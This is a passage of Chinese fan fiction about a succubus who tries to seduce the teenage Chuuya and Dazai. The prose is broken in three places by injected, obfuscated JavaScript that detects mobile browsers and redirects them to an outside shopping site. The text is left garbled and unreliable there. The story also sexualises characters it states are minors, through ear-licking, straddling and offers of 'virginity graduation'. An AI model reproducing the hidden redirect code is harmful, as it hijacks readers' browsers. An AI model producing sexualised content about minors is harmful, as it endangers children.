然后他又重新闭上了嘴。 站在小巷口,正是之前被自己甩开丢下的中原中也。 也不全怪中原中也会误解。 他在外头找了半天,然而一过来就看到自己的同伴被陌生人拿手|枪抵在墙上,地上躺着一具被爆头了的尸体。 望月还一副要哭不哭的表情。 再一看,拿枪对着银发少年的还是那个混蛋太宰。 “喂。” 赭发少年身上覆盖着一层淡淡的红光,明明没有风,微卷的赭红色发丝在空气中悬浮着;那双钴蓝色的眸子暗芒涌动,露出如同头狼般凶狠。 中原中也低沉的声音中带着浓烈的杀意,目光直勾勾地对着不远处被砸飞出去倒在地上的太宰治。 “我说过,不许对我的同伴出手。” “要我碾碎你吗,混蛋太宰。” 8. 第八章 气氛瞬间变得剑拔弩张。 望月正担心着自己的任务目标不会就这样被另一位目标就这么拿垃圾桶砸死了吧,余光瞥见自己身后一闪而过的尾巴,顿时一个激灵。 该死的,自己的尾巴怎么露出来了。 不会是因为刚刚太兴奋了吧。 望月顾不上自己以外的事,连忙伸手一把抓住自己的尾巴藏在身后。 这边望月手忙脚乱地藏匿着自己的尾巴,而中原中也走上前,直接站到了自己的身旁,害得他不敢乱动。 好在对方的注意力都集中在不远处的黑发少年身上。 之前是因为「羊」的同伴被抓,自己才不得不和港口mafia的这个混蛋合作。 自从和兰波的一战结束,港口mafia解决了先代首领复活一事,自己也得到了有关自己身世以及「荒霸吐」的信息,他和港口mafia的合作也就到此为止。 「羊」和港口mafia向来不是什么友好相处的关系,可不会因为一次被迫的合作而对黑手党产生什么好感。 中原中也俯视着地上的太宰治,声音冰冷。 “对「羊」的人出手,已经做好被我碾碎的觉悟了吧?混蛋太宰。” “……啧,果然只会用肌肉思考的蠢货。我可是相当讨厌疼痛啊,而且被这样没有脑子的家伙砸死,一点也不有趣。” 被垃圾桶砸飞的太宰治坐起身,像是事不关己般,抬手擦去流出的鼻血,面无表情地开口说道。 “与其恼怒于我做了什么,不如先看管好自家宠物吧,中原中也君。” “什么?”中原中也语气不善。 似乎完全感受不到中原中也的杀气,或是说完全不当一回事,太宰治摇摇晃晃地站起身,随意地掸了掸身上的灰。 “先是大半夜被迫加班,顺手救下遭遇危险的可怜少年,结果差点被对方夺走珍贵的初吻先不说,还被讨厌的暴力狂小矮子用垃圾桶砸。” “怎么看我才是倒霉的那个好吗?” 太宰治故意重重叹了一口气,摊开双手,拖长声音说道。 “我可是未成年人啊,这样下去不会像某个小矮子一样长不高了吧。” “你说谁是小矮子啊混蛋!” 中原中也脸瞬间变得漆黑,弹舌音都被太宰治给气了出来。 果然港口Mafia这个自杀狂魔精神病小鬼怎么看怎么欠揍。 中原中也磨了磨后槽牙,对于往这混蛋脸上来上一拳的这件事越发蠢蠢欲动。 不过中原中也还是强忍下了怒火,低声问道。 “喂,望月,刚刚发生了什么?” 然而自己身旁的望月此时过于安静,似乎没有听见自己的话。 “……望月?” “哦呀,望月君一直盯着我看呢,在生气吗?” “不,只是在想如果能吃一口你吾辈会有多么快乐……”望月下意识地回答道。 太宰治难得沉默了一下,扭头看向中原中也:“你们「羊」难不成连脑子有问题的家伙也收容吗?” “再有问题也比不过你,自杀狂魔。” 赭发少年毫不客气地回敬道。 说罢,中原中也斜了一眼边上的望月。 后者双手背在身后,似乎在藏匿什么东西,自己的目光看过去时,顿时心虚地挪开视线。 中原中也原本皱起的眉头更深。 “看嘛,我说的没错吧。可是你家的宠物先对我出手的哦~” 太宰治像是看热闹不嫌事大似的,在一旁煽风点火。 一旁即便是肚子饿得咕咕叫的望月,还是第一时间在捕捉了关键词,气得跳脚。 可恶的人类雄性你说谁是宠物啊! 明明只是食物未免也太嚣张! 还不等望月表达自己的愤怒之情,中原中也狠狠地皱眉,冷声说道。 “什么宠物。这家伙是我的同伴。” “诶,「同伴」啊,呵呵……” 黑发少年拉长了声音,那副皮笑容不笑的神情看上去颇为讥讽,惹得中原中也的拳头更是发痒。 “哈?你这家伙有什么意见……” “仅仅是认识一个星期,就已经这么信任对方,将其纳入了自己的保护范围内。” “我猜对方是露出可怜巴巴的眼神请求你的庇护,然后中也就相信了吧。”毕竟这种事刚刚也发生过,唯一不同的是他可没上钩。 太宰治弯起眼睛,肆无忌惮地嘲笑道。 “果然是智力低下的小蛞蝓啊——” “给我闭嘴。” “哦,好可怕。”太宰治这么说着,却不见任何惧色,“难道我说的不对吗?” “在这之前,你是怎么知道望月才来了一星期的。在这之前他应该没有离开过基地才对。” 中原中也的声音忽然一沉, “你在「羊」放了眼线……不对。或许只是单纯地想挑拨离间。” 中原中也脚边的石砖地面顿时多出来一道裂纹,以少年的靴子为中心朝外蔓延着。 赭发少年抬起眼睛,声音平静。 “果然还是宰了你吧,混蛋太宰。” 太宰治脸上保持着原本的微笑,无辜地眨了眨眼睛。 “这种事谁知道呢。但如果这是真的的话……” 黑发少年声音微顿,随后继续说道。 “一边是一直以来朝夕相处的同伴们之中出现了叛徒,而另一边是认识了没多久的身份不明的陌生人。” “中也会更相信谁呢?还是说,哪边会令你更加愤怒呢?” 他摊开手,做出一副无辜的姿态,似乎只是出于好奇而发问,未被绷带覆盖的那只鸢眸中却翻滚着某种漆黑的恶意。 恶魔们可不是什么爱好和平的家伙,倒不如说这样混乱的场面往往是他们更乐意于见到的——只要这其中的倒霉蛋不是自己就行了。 然而此时的望月也终于回过味来了。 他原本只从对话中得知,二人应该是敌对关系。 结果这个叫做太宰的家伙,一直把火往自己身上引……诶,是在报复自己吗? 真小心眼,简直是比恶魔还要恶魔。 不过, 也很有意思。 原来人类之中也有这种类型的家伙吗? 望月目光炯炯地打量着面前的两个少年,再次狠狠地吸了吸自己的口水。 可恶,现在面前两个香喷喷的食物在自己面前晃来晃去。 二人的气势越是强势,身上那股好吃的气息愈发浓烈,拼命地诱惑着自己。 诱惑力已经不只是翻倍的程度了。 魅魔的本能让他忍不住贴近了更靠近于自己的中原中也,双手搭在对方的肩膀上。整个人像是依靠着中原中也的后背。 望月像某种小动物一样贴近自己的动作让中原中也微微一顿。 他以为对方是因为太宰的话而感到惶恐不安。 “我相信这家伙。” 赭发少年抿了抿唇,随后抬起头认真地看向面前的太宰治,一字一句地说道。 “虽然这笨蛋奇怪了些,但这家伙身上没有敌意……” “呵。” 听到中也的话,太宰治忽然笑出了声。 “中也虽然这么说,但是真的给予了对方百分百的信赖了吗?” 赭发少年语塞了一下,咬牙切齿地说道。 “就算有什么,和你们港口mafia有什么关系?” 望月紧盯着面前的中原中也,完全没去听二人的对话。 有什么比压制自己的本能更痛苦的呢。 银发少年的身体微微前倾,紫色的眸子里完整地呈现着桃色爱心脸颊,泛着潮红。 恶魔们向来遵循自己的欲望。 赭发少年一边的头发撩起,露出圆润的耳垂。 “啧,再和你家伙说下去,吃的晚饭都要吐出来了。” 中原中也不耐烦地啧舌。 或许是因为已经熟悉对方的呼吸,中原中也对身后的望月毫无防备。 于是,趁着中原中也说话之际,银发少年身体前倾,忽然舔了一口面前赭发少年的耳垂。 “喂,望月我们走了……唔?!” 湿漉漉的触感在耳垂蹭过,舌尖舔舐过的地方接触空气后又带来轻微的凉意。 中原中也猛地一震,下意识地捂住自己被舔舐的地方,气急败坏地刚转过身,就被对方直接扑倒在了石砖地面上。 这一下摔得可不算轻,再加上望月的袭击太过突然,中原中也甚至忘了用上自己的异能力。 他刚想骂人,结果望月从原本地趴在他的身上,直接改为了跨坐。 饶使是不远处从刚刚起就一直煽风点火的太宰治,一时间也都瞪圆了眼睛,看着面前的场景故意掐着嗓子叫唤个没完。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156791|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “诶诶~你们这是要在现场?这是我能看的吗?我可是未成年哦~” 中原中也懒得理那边的太宰治,越搭理对方对方只会更起劲。 他只是瞪着身上的银发少年。 银发少年明明跨坐在自己身上,却感受不到什么重量。 中原中也咬牙切齿道。 “望、月,你在干什么!赶紧给我起来!” 中也的骂声让望月条件反射地缩了缩脖子,身体僵硬在原地。 然而他又很快反应过来,自己可是恶魔啊,怎么能害怕一个人类。 望月立即直起了腰杆,变得精神十足,神情也和平日里那副乖巧听话的样子截然不同。 “啊——真是的,演了这么久,一口都不让吾辈吃,吾辈也懒得再和你玩什么无聊的过家家了。” 银发少年微微抬起下巴,明明脸颊上带着潮红,那股红意一路晕染至眼角,显得那倨傲的眼神更像是在撒娇。 不管怎么样,今天这顿饭他是吃定了。 望月深呼吸一口气,强忍住自己脑内的欢欣雀跃,故作深沉冷酷地说道。 “你知道吾辈这段时间,忍耐得有多么辛苦吗?” “……哈?演戏?” 中原中也一时间没有反应过来,原本恼羞的表情一愣,眼神有些茫然。 倒是太宰治,饶有兴趣地观看着,时不时插嘴在一旁叽叽喳喳地点评着,聒噪得要命。 “哦呀,看来我的话说中了,真是可怜啊中……” 他的话说到一半,忽然停了下来。 并非是太宰不想说,而是受到了空气中那股香味的影响,思绪在一瞬间变得迟缓。 又来了。 那股让人头脑发胀的香甜的味道,比之前的还要浓郁,令人无法忽视。 “哈啊……” 太宰治低喘了一声,抓紧胸口的布料,感受到胸腔后剧烈跳动的心脏,目光逐渐冷了下来。 受到这股香味影响最严重的,应该是被望月跨坐在身下的中原中也。 他感觉自己的身体发软,仿佛做不出什么抗拒的举动,心脏难以自控得疯狂跳动着。 有一瞬间,眼前银发少年的表情变得模糊不清。 中原中也的睫毛颤了颤,下意识喊到对方的名字。 “喂、望月……” “你不会真的相信吾辈之前说的话了吧?” “刚刚那个黑发人类的话的确也没说错,不过是稍微装一下可怜,结果就被吾辈骗得团团转,真是愚蠢的家伙。” 中原中也一瞬间瞳孔紧缩。 眼前的画面忽然从模糊变得清晰,脑袋也冷静下来。 钴蓝色的眸子倒映着面前银发少年充满嘲笑意味的脸,在黑暗之中阴晴莫辨。 赭发少年的声音低沉,带着一丝不明的沙哑。 “所以,你的那些经历都是编的?” “当然。那种谎话也就笨蛋会相信上钩。” 望月吐出舌头,无所谓般摊着手。并没有注意到中原中也放在身侧逐渐攥紧的拳头。 赭发少年少年的声音平缓,没有任何起伏变化反而显得可怕。 “所以,从一开始接近我,包括昏迷过去被我带回「羊」的基地,都是你故意设下的圈套吗?” “……对,都、都在吾辈的计划内。” 望月有些心虚,嘴硬道。反正他是绝对不会承认自己是真的晕过去。 为了防止中原中也继续问下去,望月直接俯下身体,双手支撑在中原中也的脸颊两侧。 “放心吧,不论是中也,那边的黑发人类,吾辈也会好好地、认真地一起吃掉的~” “那么,吾辈就开动了——” 微长的刘海随着重力垂下,挡下一片阴影。 只有那双紫水晶色的眸子,因为兴奋而微微眯起,桃色的爱心清晰可见。 中原中也这个时候才明白。 ——这才是这家伙的真实面目吗? 下一秒, 上下位在眨眼间迅速翻转。 赭发少年在一瞬间抓住了身旁银发少年的脚踝。 在对方毫无防备间,径直被对方拽倒在地上,起身压制。 原本还想着从哪里下嘴的望月被着突如其来的力道拽了个懵。 抬起头时,却发现那双钴蓝色的眸子蒙上一层暗色。 “——你到底是谁?” 9. 第九章 原本占据上位的望月被这突然倒转的形式搞得措不及防,下意识脱口而出道: “诶、怎么可能,吾辈用了不少魔力啊……” 他的话刚说了一半,就感受到自己脖颈猛然被猛地扼住。 赭发少年单手掐住他的脖颈,一点一点地缩紧虎口,身上散发着一种骇人的凌厉气势。 中原中也现在哪有一点受到自己魔力的影响的样子。 “你的目的是什么?和那边的绷带混蛋又是什么关系?” 白濑他们也提醒过自己,这个时候让陌生人加入「羊」可能会有危险;那边的混蛋太宰也在向自己暗示。 而自己始终难以相信对方的背叛……不,应该说是隐瞒。 那双钴蓝色的眸子冷静,含着愠意的同时,似乎又透出一丝说不出的失望。 是因为被欺骗的愤怒,亦或者别的什么? 本该是充满暧昧的姿势,但望月却感到了一股寒意,头皮一阵发麻。 比第一次见面时还要危险的气息。 “等下等下,不应是这样才对……那个、我说你先冷静一下啊中也—— ”望月结结巴巴着说道。 “我再问一次,你接近我的目的是什么?想要杀了我,还是冲着「羊」来的吗?” 中原中也直接无视望月的拖延,冷声问道。 “呃、呃……” ——对方是真的在生气,想要杀了自己。 望月此时无比的后悔。 前辈们也没告诉过自己,引诱不成功会有这样的结果啊! ‘系统,要是吾辈被这家伙弄死的话怎么办?’ 【恶魔不是生命力顽强吗?】 ‘没有魔力修补身体,就算再顽强也是会死的啊!吾辈感觉自己会被他碾成肉酱…’ 【那就只能死掉了吧。】 ‘……超平静地说出了冷血台词,你这黑心系统是暴露本性还是程序错误黑化了啊喂!’ 望月瞪大了眼睛,一时间难以置信。 然而脖子上逐渐缩紧的力道让望月慌乱起来——现在可不是玩窒息play的时候。 银发恶魔急忙说道。 ‘哇哇哇吾辈之前给你添了很多麻烦真是对不起,总之拜托了系统现在快救救我——’ 【……你找个机会让对方产生破绽。】系统提示。 破绽?开什么玩笑。 这个人类雄性现在全神贯注想着弄死吾辈啊! 中原中也的声音冰冷:“还有什么遗言吗?” “有有有!”望月慌忙说道。 闻言,中原中也沉默了片刻,稍微松开了手。 趁着这个机会,望月一咬牙,伸出手抓着中原中也的衣领,朝着自己的方向猛地一扯,狠狠地撞了上去。 两片嘴唇重叠,只有疼痛感。 牙齿磕碰在口腔内壁,蹭破软肉,一股铁锈味顿时在舌尖和嘴巴里弥漫开来。 【滴,正在进行目标绑定】 【绑定成功】 冰冷的机械音同时在二人的耳边响起。 中原中也瞳孔放大,完全没料到对方会这么做。 他本能地推开了对方,甚至还没反应过来嘴巴和牙龈上的疼痛。 趁着中原中也愣神这个间隙,望月赶紧滚到一旁,飞快和对方拉开距离。 望月总算松了口气,又忍不住好奇地问道。 ‘你刚刚做了什么?’ 【只是交付对方一部分权限,进行绑定。】 【这样一来,某种意义上你们之间形成了契约关系。就像我和你一样。】 【所以,你无法直接杀死他,中原中也也无法直接杀死你。】 望月若有所思,望月恍然大悟。 望月觉得自己现在又可以了。 完全没有任何廉耻心和自尊心的银发恶魔表情瞬间变得喜气洋洋起来,那副小人得意的神情就差没用笔直接写在脸上。 而中原中也总算从刚刚那个不算亲吻的亲吻中回过神来,用手背擦拭着自己的嘴唇,嘴巴里的铁锈味更甚。 中原中也忍不住狠狠地皱起了眉,身上的暴戾气势更甚,几乎是从齿缝间挤出自己的声音。 “喂,你这家伙……” “真是的,吾辈第一次见这么不解风情的家伙——人类雄性真是粗鲁。” “吾辈早就说过,吾辈可不是人类哦。” 声音从上方响起。 中原中也随着声音,抬起头。 银发少年身体如同羽毛般漂浮而起,双腿重叠,垂眼俯视着自己。 身后,黑色的如同蝙蝠般的翅膀不知何时冒出,细长的尾巴尖呈现着爱心状,如同猫尾般随意地在空气中甩了甩。 银发少年那双紫眸也变成了猫样的竖瞳,头上冒出了恶魔状的尖角。 种种不该出现在人类身上的特征,无一不展示着主人非人的身份。 在中原中也错愕的目光下,望月眯起眼睛,随意地翘了个二郎腿的姿势,扬了扬下巴,脸上露出一抹狡黠又骄傲的笑容。 “吾辈可是恶魔。” “——以人类为食的魅魔。” “魅魔……” 中原中也下意识地重复道。 纵使横滨里不乏各种奇奇怪怪的异能力者,然而像妖怪、恶魔这类存在于幻想世界的非人生物,所带来的冲击力远大于其他。 望月显然对于面前中原中也的反应感到满意,像是总算找回自己的场子似的,扬眉吐气了一把。 银发恶魔身后的尾巴愉快地甩了甩。 “哼哼,人类啊,总算明白了吗。” “吾辈可是高贵的恶魔,和你们这种下等种族不同。听好了,如果你跪下恳求的话,吾辈倒是可以勉强满足你那微不足道的欲望。” “所以,乖乖地成为吾辈的奴仆……nya!” 不知道从哪儿伸出来的一只手,从背后准确无误地抓住了银发恶魔半空中悬浮着的尾巴,然后猛地往下一拽。 从尾椎传来的痛楚害得望月无法自控地发出一声变调了的尖叫。 “混蛋,不知道恶魔们的尾巴是不可以用力拽的吗!” 银发恶魔眼角痛出泪花,气急败坏地骂道,猛地寻找起拽自己尾巴的元凶。 然后他就对上了太宰治那张漂亮的脸。 然而不知为何,明明对方是笑着,他却感觉自己的背后冒出一股凉意,尾巴一下子绷直。 大概是直觉告诉他,眼前看上去文文弱弱的黑发人类十分危险。 “诶~没想到是真的尾巴,摸上去滑溜溜的。” “——原来你是恶魔啊。” 太宰治看上去似乎完全不把自己的恶魔身份放在眼里。 他笑眯眯地松开了手,望月赶紧把自己的尾巴抢回来抱在怀里。 看着面前黑发少年自然且冷静的目光,望月憋了半天,这才把自己的声音从牙缝里挤出来。 “中也也就算了,为什么你这家伙也一点事都没有?!” “嗯?刚刚那股香气吗?” 太宰歪着脑袋,故意作出一副思考的表情,然后慢吞吞地说道,“你说那个啊……的确让我稍微有些晃神呢。” 这是不是有点太侮辱魅魔了,怎么说他可都是恶魔啊。而且从刚刚二人的表情和反应来看,明明应该是有效果的才对…… 望月在心中委屈地腹诽。 他忽然想到了什么,猛地一抬脑袋,瞪圆了眼睛,在心中咬牙切齿地质问道。 ‘系统是不是你干的!除此以外没有别的可能了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156792|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !’ 【我只是将目标们开了些防护。】 ‘你个混蛋……’ 望月疯狂地骂着不干人事的系统,然而系统表示不论它还是望月反正都不是人类。 “咚。” 没等望月骂完,一旁忽然发出一声闷响。 赭发少年脚下的地面原本只是一道裂纹,而此时在重力的扭曲碾压下彻底粉碎。 在望月惊恐的目光中,中原中也低着头,一步一步地朝自己逼近,然而每一步都会让周围的空气变得更沉重,几乎喘不过气来。 中原中也仅仅是眯起眼睛,周围的碎石块随同主人一起,覆盖上一层暗红色的光芒,飘浮在半空中。 这一下把望月看得目瞪口呆,本能地咽了口口水。 这个人类雄性……是不是强过头了? 中原中也声音低沉,带着一种让人忍不住瑟瑟发抖的危险感;越是面无表情,越是令人感到恐惧。 钴蓝色的眸子烁着寒芒,杀气几乎满溢而出。 “喂,你刚刚说什么?” “成为吾辈的奴、奴仆,呃不是……” 银发魅魔下意识重复着,声音瞬间卡壳,连呼吸又忘记。 望月现在又后知后觉反应过来另一件事。 ——就算他们现在有了契约关系,但自己还是打不过中原中也。 对比了一下敌我双方的战斗力后,望月沉默,然后汗流浃背,下意识后退了几步。 人类,原来有这么强吗……不对,普通人类真的能一脚踩碎地面吗?甚至让重物漂浮起来吗? 他现在确信对方真的能一脚踩碎自己的脑袋了。 要不赶紧跑路吧。 某魅魔僵硬地将脑袋转向一旁,试图寻找起逃跑路线时,背后响起咔嚓一声微弱的子弹上膛声,随后是少年似笑非笑的声音。 “不知道恶魔在打穿心脏和脑袋的时候会不会死掉呢。” 太宰治玩着手里的枪,像个发现玩具的小朋友似的朝着自己眨了眨眼睛。 “……” 前面的出口有中原中也守着,后方的退路也被太宰治堵住。 可以说是无处可逃。 望月在心中大声吐槽。 这两个人明明不是死对头来着吗,为什么要在这个时候那么有默契! 然而,在察觉到中原中也那股越来越浓烈,如同野兽般暴虐的气息后,望月忍不住一抖,颤颤巍巍地转过了脑袋。 “那个、呃,中也……”望月的声音结结巴巴的。 在那双钴蓝色眸子的注视下,银发魅魔也感受到对方身上的凌厉,仿佛下一秒就准备将自己碾碎。 望月顿时冷汗直流,瑟瑟发抖。 再回头,那边的太宰治微笑着朝自己散发着黑气。 该死的,明明只是两个人类,为什么比地狱里的那堆恶魔们气势来得更强大啊。 从来到人间开始就一直吃瘪倒霉的某只魅魔终于忍无可忍。 事到如今,选项只有一个了。 望月紧握拳头,爆发出前所未有的速度。 ——他果断来了个滑跪,砰地一声在二人面前土下座,后脑勺对着两人,大声喊道。 “真的非常对不起,两位大人……不不不,是主人。” 望月抬起脑袋,做出无比可怜的神情,泪眼汪汪地朝着面前的两个少年语速飞快地滑跪道。 “刚刚是我得意忘形了,请原谅我刚刚的无礼!我知道错了!” “只要不杀我,不论是舔鞋子还是别的什么我都会做的!总之请放过我吧中也主人!” 【……】 即便已经不是第一次见望月的川剧变脸以及见风使舵的本性,系统还是忍不住吐槽道。 【真是没节操的恶魔。】 10. 第十章 本该是幽静无人的昏暗小巷,今夜却格外的热闹。 望月主要的滑跪目标还是中原中也。 毕竟凭借着这段时间的相处和认识,比起那边那个摸不透底细的黑发人类,显然还是中也更温柔好说话些。 这其中或许是因为望月本能地更信任中也,也是因为生存的直觉。 中原中也冷着脸,双手抱胸,俯视着正跪在自己面前,尚未收起翅膀和尾巴的银发恶魔。 见识过面前中原中也的强大实力后,望月一点也没超出系统的预料,变得乖巧又狗腿,浑然不见之前的得意忘形。 望月规规矩矩地正跪在中原中也的面前,尾巴垂在地上,十指交叉着,使尽浑身的演技做出弱小可怜又无助的神情。 紧接着如同竹筒倒豆子般,叽里呱啦地把所有的事情,无论是自己的来历还是和系统签订合约,事无巨细地全盘托出。 反正又没有规定不能泄露系统这件事。 “总之,吾辈、我是遭受到某个黑心系统的胁迫,被迫留在人类世界完成任务,所以才不得已对您撒了谎隐藏了身份,绝对没有伤害您的意思——反正要怪就得怪那该死的混蛋系统。” 望月果断把所有的黑锅全部丢到了系统的头上,一副「我是被迫,我最无辜」的可怜模样。 系统听了只想翻白眼——虽然对方的甩锅从某种意义上也没说错。 明明绑定后最得意忘形的是某只恶魔。 从刚刚开始,太宰治就蹲在银发恶魔的身旁好奇地观察着对方身上这些非人特征,还时不时伸手扯一下对方的翅膀,又或者对着头上的恶魔角啧啧称奇。 搞得望月在心中面容扭曲又不得不强忍下来,不敢发作。 可恶,要不是这个该死的黑发人类,自己早就美美的吃上一口饭也就不会发生后面这么多事情了。 ——全都是这家伙的错! 正当望月在心中饱含怨念地腹诽时,耳旁响起某人幽幽的声音。 “望月君现在是在心里骂我吗?” “怎怎怎么可能……” 望月吓得尾巴绷紧,心虚着说道。 这个人类难道还会读心术吗! 可恶,这个黑发人类怎么比恶魔还要更像恶魔,危险指数也不低。 “喂,混蛋太宰,别对他动手动脚的。”中原中也看不下去了,皱眉说道。 “诶~对方可是恶、魔呢,就算这样中也还要护着对方吗?真是令人感动啊。”太宰故作惊讶道。 “烦死了,所以说你这家伙为什么还赖在这里?” “因为觉得有乐子看很有意思吧。” “恶魔什么的……” 赭发少年的眉毛几乎打结,小声嘟囔道。而太宰治则对对方的反应感到困惑不解。 “这有什么好惊讶的,倒不如说中也你居然会为这个感到惊讶。明明自己就是……” “我和这家伙又不一样。”中也冷冷地打断道。 “说得也是呢。” 太宰治耸了耸肩。 毕竟一个是货真价实的非人,另一个是人为创造的产物。 听完银发恶魔刚刚所说的话,中原中也皱起眉。 望月提到了契约,然而自己当时除了在耳边听见某个声音外,其他好像没有发生任何变化,身体也没有哪里不对劲。 他正低头思考着,一旁的太宰治立即嘲讽道。 “呵呵,就小蛞蝓的脑子,再怎么思考也没没用吧~” “哈?你找死吗混蛋太宰!” 中原中也脑袋上蹦出一道红色十字路口,张口骂道。 太宰治像是玩够了,站起身耸了耸肩:“这种超脱于人类范围内,也不属于异能力体系的力量,想要解决的话只能从源头入手吧。” 中原中也闻言,扭头看向面前的望月。 然而银发魅魔正兴高采烈地看着他俩互怼,就差没在旁边加油助威高喊“打起来,打起来”了。 见自己看过来,银发魅魔立即缩了回去,假装什么事都没做般吹着口哨。 中原中也感觉额头上的青筋一跳一跳地更厉害了。 他一下没忍住,脚下的地面裂纹顿时变得更深,把跪坐着的望月吓得再次一哆嗦。 “喂,赶紧给我解开这个什么契约。” “这、这种事情吾辈也做不到啊,都是那个黑心系统……唔唔总之完成吾辈的任务,契约关系应该就能解开了!” 眼见裂纹直接蔓延到了自己的膝盖下,望月猛地一抖,汗流得更加多了,语速飞快地说道。 “……啧。” 中原中也眉头皱得更深,不爽地啧舌。 他落在面前这只银发非人生物上的目光依旧警惕,冷声问道。 “所以你的任务是什么?” 说到这个望月立即精神了。 银发恶魔蹭地一下露出宛如家养小型犬的闪亮眼神,身后的尾巴像是在对对方示好般,疯狂左右摇晃着。 “就是说呢,如果您想要摆脱童贞的话,请务必交给吾辈。在这方面吾辈绝对是专业的,不论您喜欢什么类型,想要玩什么play都……” 【滴,检测出对未成年人……】 听到耳旁系统幽幽的警告,银发魅魔的声音顿时卡壳,立即绕了个弯推销道,“啊当然,就算是预定童贞毕业也没问题哦!” 中原中也原本还冷着一张脸,结果在望月的话下,差点被自己的口水呛死。 他连咳两声,拔高了嗓音,几乎是羞恼般吼道。 “咳、咳!你在说些什么鬼东西!” “难道不是吗?前辈们说这个年龄的男生分之七十的心愿都是童贞毕业呢。” 望月眨巴眨巴眼睛,疑惑地问道。 太宰治也像是找到乐子般,在一旁笑得乐不可支,跟着挤眉弄眼地嘲弄道。 “哦呀,原来小蛞蝓还是处男,这么迫切地想要摆脱童贞吗?别担心哦望月君,中也只是在害羞。” “混蛋说谁害羞了!” 中原中也咬牙切齿地挤出自己的声音。 有了太宰的帮腔,很会见风使舵,顺杆子往上爬的银发恶魔顿时得意忘形起来。 望月漂浮在空气中,恶劣地围绕着中原中也打转,缠着对方孜孜不倦地引诱道。 “呼呼~要坦然面对自己的欲望哦人类~” “就是说哦中也,坦然承认自己是处男吧。”太宰嘲笑道,“毕竟像小蛞蝓这样暴力又没脑子的家伙,肯定会孤独终老一辈子吧。” 抛开别的不说,太宰治和望月这两个家伙倒是相性很好。 “给我闭嘴。”中原中也骂完望月,又剜了一眼看热闹不嫌事大的太宰治,冷笑一声,“说得好像你有经验似的。” 太宰治沉默了一下,挪开视线,声音听上去轻飘飘的,“我怎么可能和小蛞蝓一样,我的异性缘可是很好的……” “噗哈哈哈,你这家伙一听是在嘴硬,这种事情可瞒不过我们魅魔的鼻子,” 一旁的魅魔闻言,飘在半空中直接抱着肚子狂乐。 “毕竟你身上的气味一闻就是童贞处男,你们两个都一样啦。” “……中也,你的宠物真该好好管教管教呢。不介意的话可以由我代劳。” “被吾辈戳破后也恼羞成怒了吗?哎呀哎呀,就是说你们人类啊,总在这种莫名其妙的地方好面子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156793|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真是难看……” 望月正忘乎所以地喋喋不休着,中原中也伸手,一把捏住了面前飘来飘去的银发恶魔的脑袋,面无表情地说道。 “喂,我说你这家伙是不是太得意忘形了嗯?” “……吾辈错了对不起请原谅吾辈。” 银发魅魔再次滑跪。 关于童贞处男这个话题总算过去,场面总算安静下来。 始作俑者老老实实地正跪在地上,身后的尾巴和翅膀直接耷拉着,垂下脑袋对着手指,小声嘀咕道。 “吾辈也很想解除契约嘛……” 这是真心话。 有这系统的限制,自己这个不能做,那个不能做,在人类世界既憋屈又无聊。 吃不上饭先不说,还被两个人类这么欺压。 自己大概是有史以来,最惨最倒霉的魅魔了。 望月叹了口气,抬起头幽幽地看着面前的两个人。 “……你们真的不想要童贞毕业吗?” “都说了别再提什么童贞毕业了好吗!” 中原中也忍不住拔高了音量,颇有几分恼羞成怒的意味。 相较于中原中也的暴躁,太宰治一下捕捉到了关键词,危险地眯起那只鸢眸。 “「你们」?为什么也要把我算在内呢?” 望月眨了眨眼睛。 “因为你也是任务目标之一啊。” “……哈?” 中原中也发出一声疑惑。 他微微侧过脸,蓝眸瞥了一眼身旁的黑发少年,不知不觉间皱起了眉。 没想到自己也在行列之内,太宰治不由得感到好奇,鸢眸不由得睁大,随后带着一丝 玩味地问道。 “所以你的任务到底是什么?” “‘满足他们的「欲望」’——系统是这么告诉吾辈的。” “「欲望」?” 赭发少年的脸上带着稍许疑惑,而太宰治在听到这个词后也微微一愣,嘴角的弧度逐渐抹平。 不知想到了什么,望月轻声“啊”了一下。 “或许,该称之为「愿望」?” “反正对于恶魔们来说,「愿望」、「心愿」、「欲望」之类的东西,也都没什么区别。” “想要得到的东西,渴求着的,迷茫着的,或是说想要达成的目的……” 望月说着,忍不住鼓起了包子脸,一副苦恼又不解的表情。 “人类真是一种复杂又麻烦的生物。” “关于这一点我倒是不否认。” 黑发少年的声音平静。 那只刚刚还能透出些许亮光的鸢眸,此时完全暗了下来,和周围融为一体。 “人类不仅复杂麻烦,同时也虚伪愚蠢。” “动物们的三大本能欲望,食欲,性|欲,和睡眠欲;而人类的欲望更是一种复杂多变的庞然大物——傲慢,懒惰,嫉妒,色|欲,贪婪,暴食……” “人,是欲望的产物;生命,是欲望的延续。*” 他想要知道生命的意义。 